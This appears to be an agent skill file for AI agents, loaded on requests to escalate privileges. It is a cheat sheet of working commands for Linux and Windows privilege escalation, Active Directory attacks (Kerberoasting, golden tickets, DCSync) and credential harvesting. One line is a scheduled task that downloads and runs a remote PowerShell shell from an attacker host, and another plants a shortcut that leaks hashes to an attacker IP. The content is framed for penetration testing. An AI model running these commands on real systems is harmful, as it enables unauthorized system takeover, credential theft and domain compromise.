Agent skill

Privilege Escalation Methods

This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.

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Metadata

Additional technical details for this skill

author
zebbern
version
1.1

SKILL.md

Privilege Escalation Methods

Purpose

Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.

Inputs/Prerequisites

  • Initial low-privilege shell access on target system
  • Kali Linux or penetration testing distribution
  • Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
  • Understanding of Windows/Linux privilege models
  • For AD attacks: Domain user credentials and network access to DC

Outputs/Deliverables

  • Root or Administrator shell access
  • Extracted credentials and hashes
  • Persistent access mechanisms
  • Domain compromise (for AD environments)

Core Techniques

Linux Privilege Escalation

1. Abusing Sudo Binaries

Exploit misconfigured sudo permissions using GTFOBins techniques:

bash
# Check sudo permissions
sudo -l

# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts    # then type: !bash
sudo man man            # then type: !bash
sudo env /bin/bash

2. Abusing Scheduled Tasks (Cron)

bash
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab

# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh

# Wait for execution, then:
/bin/bash -p

3. Abusing Capabilities

bash
# Find binaries with capabilities
getcap -r / 2>/dev/null

# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar

4. NFS Root Squashing

bash
# Check for NFS shares
showmount -e <victim_ip>

# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash

5. MySQL Running as Root

bash
# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p

Windows Privilege Escalation

1. Token Impersonation

powershell
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe

# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser

2. Service Abuse

powershell
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'

3. Abusing SeBackupPrivilege

powershell
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit

4. Abusing SeLoadDriverPrivilege

powershell
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe

5. Abusing GPO

powershell
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
  --Author DOMAIN\<USER> --Command "cmd.exe" `
  --Arguments "/c net user Administrator Password!@# /domain" `
  --GPOName "ADDITIONAL DC CONFIGURATION"

Active Directory Attacks

1. Kerberoasting

bash
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request

# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt

2. AS-REP Roasting

powershell
.\Rubeus.exe asreproast

3. Golden Ticket

powershell
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt

# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
  /sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500

4. Pass-the-Ticket

powershell
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist  # Verify ticket

5. Golden Ticket with Scheduled Tasks

powershell
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch

# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
  /domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi

# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
  /TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"

Credential Harvesting

LLMNR Poisoning

bash
# Start Responder
responder -I eth1 -v

# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico

NTLM Relay

bash
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support

Dumping with VSS

powershell
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\

Quick Reference

Technique OS Domain Required Tool
Sudo Binary Abuse Linux No GTFOBins
Cron Job Exploit Linux No Manual
Capability Abuse Linux No getcap
NFS no_root_squash Linux No mount
Token Impersonation Windows No SweetPotato
Service Abuse Windows No PowerUp
Kerberoasting Windows Yes Rubeus/Impacket
AS-REP Roasting Windows Yes Rubeus
Golden Ticket Windows Yes Mimikatz
Pass-the-Ticket Windows Yes Rubeus
DCSync Windows Yes Mimikatz
LLMNR Poisoning Windows Yes Responder

Constraints

Must:

  • Have initial shell access before attempting escalation
  • Verify target OS and environment before selecting technique
  • Use appropriate tool for domain vs local escalation

Must Not:

  • Attempt techniques on production systems without authorization
  • Leave persistence mechanisms without client approval
  • Ignore detection mechanisms (EDR, SIEM)

Should:

  • Enumerate thoroughly before exploitation
  • Document all successful escalation paths
  • Clean up artifacts after engagement

Examples

Example 1: Linux Sudo to Root

bash
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
    (root) NOPASSWD: /usr/bin/vim

# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)

Example 2: Windows Kerberoasting

bash
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request

# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt

Troubleshooting

Issue Solution
sudo -l requires password Try other enumeration (SUID, cron, capabilities)
Mimikatz blocked by AV Use Invoke-Mimikatz or SafetyKatz
Kerberoasting returns no hashes Check for service accounts with SPNs
Token impersonation fails Verify SeImpersonatePrivilege is present
NFS mount fails Check NFS version compatibility (vers=2,3,4)

Additional Resources

For detailed enumeration scripts, use:

  • LinPEAS: Linux privilege escalation enumeration
  • WinPEAS: Windows privilege escalation enumeration
  • BloodHound: Active Directory attack path mapping
  • GTFOBins: Unix binary exploitation reference

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